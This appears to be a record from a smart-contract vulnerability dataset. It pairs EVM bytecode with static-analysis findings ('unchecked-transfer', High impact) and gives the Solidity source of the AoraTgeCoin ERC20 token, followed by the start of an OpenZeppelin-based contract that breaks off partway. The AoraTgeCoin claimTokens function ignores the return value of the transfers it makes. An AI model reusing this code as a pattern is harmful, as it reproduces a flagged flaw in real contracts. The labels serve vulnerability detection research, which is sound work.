419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b600082821115611a9c577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8183611aa891906127d5565b905092915050565b6000611abf8360000183611e03565b60001c905092915050565b6000808284611ad991906126f4565b905083811015611b12577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8091505092915050565b6000611b44836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611e9d565b905092915050565b6000611b5a82600001612027565b9050919050565b6000611b89836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612038565b905092915050565b6000808284611ba0919061277b565b90506000841480611bbb5750828482611bb9919061274a565b145b611bee577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8091505092915050565b6000808284611c07919061274a565b90508091505092915050565b6000611c1e826110be565b90506000811115611dcf576000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611cc081600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d1881600454611aca90919063ffffffff16565b600481905550611d7081600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611dc881600354611aca90919063ffffffff16565b6003819055505b5050565b6000611dfb836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61205b565b905092915050565b600081836000018054905011611e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4590612556565b60405180910390fd5b826000018281548110611e8a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154905092915050565b6000808360010160008481526020019081526020016000205490506000811461201b576000600182611ecf91906127d5565b9050600060018660000180549050611ee791906127d5565b90506000866000018281548110611f27577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154905080876000018481548110611f71577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200181905550600183611f8c91906126f4565b8760010160008381526020019081526020016000208190555086600001805480611fdf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050612021565b60009150505b92915050565b600081600001805490509050919050565b600080836001016000848152602001908152602001600020541415905092915050565b60006120678383612038565b6120c05782600001829080600181540180825580915050600190039060005260206000200160009091909190915055826000018054905083600101600084815260200190815260200160002081905550600190506120c5565b600090505b92915050565b6000813590506120da81612a1d565b92915050565b6000815190506120ef81612a34565b92915050565b60008135905061210481612a4b565b92915050565b60006020828403121561211c57600080fd5b600061212a848285016120cb565b91505092915050565b60008060006060848603121561214857600080fd5b6000612156868287016120cb565b9350506020612167868287016120cb565b9250506040612178868287016120f5565b9150509250925092565b60006020828403121561219457600080fd5b60006121a2848285016120e0565b91505092915050565b6000602082840312156121bd57600080fd5b60006121cb848285016120f5565b91505092915050565b600080604083850312156121e757600080fd5b60006121f5858286016120f5565b9250506020612206858286016120f5565b9150509250929050565b600061221c8383612240565b60208301905092915050565b60006122348383612441565b60208301905092915050565b61224981612809565b82525050565b61225881612809565b82525050565b600061226982612691565b61227381856126c1565b935061227e83612671565b8060005b838110156122af5781516122968882612210565b97506122a1836126a7565b925050600181019050612282565b5085935050505092915050565b60006122c78261269c565b6122d181856126d2565b93506122dc83612681565b8060005b8381101561230d5781516122f48882612228565b97506122ff836126b4565b9250506001810190506122e0565b5085935050505092915050565b6123238161281b565b82525050565b60006123366022836126e3565b9150612341826128af565b604082019050919050565b60006123596015836126e3565b9150612364826128fe565b602082019050919050565b600061237c601e836126e3565b915061238782612927565b602082019050919050565b600061239f601a836126e3565b91506123aa82612950565b602082019050919050565b60006123c26011836126e3565b91506123cd82612979565b602082019050919050565b60006123e56017836126e3565b91506123f0826129a2565b602082019050919050565b6000612408601c836126e3565b9150612413826129cb565b602082019050919050565b600061242b6008836126e3565b9150612436826129f4565b602082019050919050565b61244a81612847565b82525050565b61245981612847565b82525050565b6000602082019050612474600083018461224f565b92915050565b600060608201905061248f600083018661224f565b61249c602083018561224f565b6124a96040830184612450565b949350505050565b60006040820190506124c6600083018561224f565b6124d36020830184612450565b9392505050565b600060808201905081810360008301526124f4818761225e565b9050818103602083015261250881866122bc565b9050818103604083015261251c81856122bc565b9050818103606083015261253081846122bc565b905095945050505050565b6000602082019050612550600083018461231a565b92915050565b6000602082019050818103600083015261256f81612329565b9050919050565b6000602082019050818103600083015261258f8161234c565b9050919050565b600060208201905081810360008301526125af8161236f565b9050919050565b600060208201905081810360008301526125cf81612392565b9050919050565b600060208201905081810360008301526125ef816123b5565b9050919050565b6000602082019050818103600083015261260f816123d8565b9050919050565b6000602082019050818103600083015261262f816123fb565b9050919050565b6000602082019050818103600083015261264f8161241e565b9050919050565b600060208201905061266b6000830184612450565b92915050565b6000819050602082019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b60006126ff82612847565b915061270a83612847565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561273f5761273e612851565b5b828201905092915050565b600061275582612847565b915061276083612847565b9250826127705761276f612880565b5b828204905092915050565b600061278682612847565b915061279183612847565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127ca576127c9612851565b5b828202905092915050565b60006127e082612847565b91506127eb83612847565b9250828210156127fe576127fd612851565b5b828203905092915050565b600061281482612827565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f456e756d657261626c655365743a20696e646578206f7574206f6620626f756e60008201527f6473000000000000000000000000000000000000000000000000000000000000602082015250565b7f5374616b696e6720616c726561647920656e6465640000000000000000000000600082015250565b7f43616e6e6f74205472616e73666572204f7574207468697320746f6b656e0000600082015250565b7f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000600082015250565b7f5374616b696e672068617320656e646564000000000000000000000000000000600082015250565b7f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000600082015250565b7f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000600082015250565b7f4e6f74207965742e000000000000000000000000000000000000000000000000600082015250565b612a2681612809565b8114612a3157600080fd5b50565b612a3d8161281b565b8114612a4857600080fd5b50565b612a5481612847565b8114612a5f57600080fd5b5056fea26469706673582212209083503163c3984708e2b344b9fd847cb216964e0930c64ea53f2414e719a52064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,018 |
0x9950ed4d348162fd788025c77b4d377eec124cfb
|
// solium-disable linebreak-style
pragma solidity ^0.4.24;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
// Owner's address
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit OwnerChanged(owner, _newOwner);
owner = _newOwner;
}
event OwnerChanged(address indexed previousOwner,address indexed newOwner);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract AoraTgeCoin is IERC20, Ownable {
using SafeMath for uint256;
// Name of the token
string public constant name = "Aora TGE Coin";
// Symbol of the token
string public constant symbol = "AORATGE";
// Number of decimals for the token
uint8 public constant decimals = 18;
uint constant private _totalSupply = 650000000 ether;
// Contract deployment block
uint256 public deploymentBlock;
// Address of the convertContract
address public convertContract = address(0);
// Address of the crowdsaleContract
address public crowdsaleContract = address(0);
// Token balances
mapping (address => uint) balances;
/**
* @dev Sets the convertContract address.
* In the future, there will be a need to convert Aora TGE Coins to Aora Coins.
* That will be done using the Convert contract which will be deployed in the future.
* Convert contract will do the functions of converting Aora TGE Coins to Aora Coins
* and enforcing vesting rules.
* @param _convert address of the convert contract.
*/
function setConvertContract(address _convert) external onlyOwner {
require(address(0) != address(_convert));
convertContract = _convert;
emit OnConvertContractSet(_convert);
}
/**
* @dev Sets the crowdsaleContract address.
* transfer function is modified in a way that only owner and crowdsale can call it.
* That is done because crowdsale will sell the tokens, and owner will be allowed
* to assign AORATGE to addresses in a way that matches the Aora business model.
* @param _crowdsale address of the crowdsale contract.
*/
function setCrowdsaleContract(address _crowdsale) external onlyOwner {
require(address(0) != address(_crowdsale));
crowdsaleContract = _crowdsale;
emit OnCrowdsaleContractSet(_crowdsale);
}
/**
* @dev only convert contract can call the modified function
*/
modifier onlyConvert {
require(msg.sender == convertContract);
_;
}
constructor() public {
balances[msg.sender] = _totalSupply;
deploymentBlock = block.number;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address who) external view returns (uint256) {
return balances[who];
}
function allowance(address owner, address spender) external view returns (uint256) {
require(false);
return 0;
}
/**
* @dev Transfer token for a specified address.
* Only callable by the owner or crowdsale contract, to prevent token trading.
* AORA will be a tradable token. AORATGE will be exchanged for AORA in 1-1 ratio.
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(msg.sender == owner || msg.sender == crowdsaleContract);
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address spender, uint256 value) external returns (bool) {
require(false);
return false;
}
/**
* @dev Transfer tokens from one address to another.
* Only callable by the convert contract. Used in the process of converting
* AORATGE to AORA. Will be called from convert contracts convert() function.
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to.
* Only 0x0 address, because of a need to prevent token recycling.
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
) onlyConvert public returns (bool) {
require(_value <= balances[_from]);
require(_to == address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Fallback function. Can't send ether to this contract.
*/
function () external payable {
revert();
}
/**
* @dev This method can be used by the owner to extract mistakenly sent tokens
* or Ether sent to this contract.
* @param _token address The address of the token contract that you want to
* recover set to 0 in case you want to extract ether. It can't be ElpisToken.
*/
function claimTokens(address _token) public onlyOwner {
if (_token == address(0)) {
owner.transfer(address(this).balance);
return;
}
IERC20 tokenReference = IERC20(_token);
uint balance = tokenReference.balanceOf(address(this));
tokenReference.transfer(owner, balance);
emit OnClaimTokens(_token, owner, balance);
}
/**
* @param crowdsaleAddress crowdsale contract address
*/
event OnCrowdsaleContractSet(address indexed crowdsaleAddress);
/**
* @param convertAddress crowdsale contract address
*/
event OnConvertContractSet(address indexed convertAddress);
/**
* @param token claimed token
* @param owner who owns the contract
* @param amount amount of the claimed token
*/
event OnClaimTokens(address indexed token, address indexed owner, uint256 amount);
}
|
0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f6578063095ea7b31461018657806318160ddd146101eb57806323b872dd14610216578063313ce5671461029b57806331616395146102cc5780636596cff31461032357806370a082311461036657806382100e3f146103bd5780638da5cb5b146103e857806395d89b411461043f578063a9059cbb146104cf578063dd62ed3e14610534578063df8de3e7146105ab578063eb0baade146105ee578063ed7eff2b14610645578063f2fde38b14610688575b600080fd5b34801561010257600080fd5b5061010b6106cb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014b578082015181840152602081019050610130565b50505050905090810190601f1680156101785780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019257600080fd5b506101d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610704565b604051808215151515815260200191505060405180910390f35b3480156101f757600080fd5b5061020061071c565b6040518082815260200191505060405180910390f35b34801561022257600080fd5b50610281600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610730565b604051808215151515815260200191505060405180910390f35b3480156102a757600080fd5b506102b06109b1565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d857600080fd5b506102e16109b6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561032f57600080fd5b50610364600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109dc565b005b34801561037257600080fd5b506103a7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610afa565b6040518082815260200191505060405180910390f35b3480156103c957600080fd5b506103d2610b43565b6040518082815260200191505060405180910390f35b3480156103f457600080fd5b506103fd610b49565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561044b57600080fd5b50610454610b6e565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610494578082015181840152602081019050610479565b50505050905090810190601f1680156104c15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104db57600080fd5b5061051a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba7565b604051808215151515815260200191505060405180910390f35b34801561054057600080fd5b50610595600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e7f565b6040518082815260200191505060405180910390f35b3480156105b757600080fd5b506105ec600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e97565b005b3480156105fa57600080fd5b50610603611215565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561065157600080fd5b50610686600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061123b565b005b34801561069457600080fd5b506106c9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611359565b005b6040805190810160405280600d81526020017f416f72612054474520436f696e0000000000000000000000000000000000000081525081565b600080151561071257600080fd5b6000905092915050565b60006b0219aada9b14535aca000000905090565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078e57600080fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107dc57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151561081757600080fd5b61086982600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ae90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108fe82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cf90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a3757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff1614151515610a7357600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff167f2298eae7ec78ddfce87ab5887f85a9fdf3d8222120757c7049a1e18da4b745d860405160405180910390a250565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600781526020017f414f52415447450000000000000000000000000000000000000000000000000081525081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610c515750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610c5c57600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610caa57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610ce657600080fd5b610d3882600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ae90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dcd82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cf90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000801515610e8d57600080fd5b6000905092915050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ef557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fae576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610fa8573d6000803e3d6000fd5b50611210565b8291508173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561104c57600080fd5b505af1158015611060573d6000803e3d6000fd5b505050506040513d602081101561107657600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561114d57600080fd5b505af1158015611161573d6000803e3d6000fd5b505050506040513d602081101561117757600080fd5b8101908080519060200190929190505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f4851d5266113ac968ef5218c6e91c4c5d25940054e41b3d9552a2b1e67f7a45e836040518082815260200191505060405180910390a35b505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561129657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff16141515156112d257600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff167f753549191865bc7c764de8b0e51047f99a629487390e232fbb78c0856b115aaa60405160405180910390a250565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113b457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156113f057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c60405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808383111515156114c057600080fd5b82840390508091505092915050565b60008082840190508381101515156114e657600080fd5b80915050929150505600a165627a7a72305820c2ee0d99c568887d9f1a10f636fc08adf93d881b48b9bb7ce1fc8fb64e224c3a0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 6,019 |
0x15c65728274e5211aa95c63d5d32819502920262
|
/**
*Submitted for verification at Etherscan.io on 2021-09-30
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
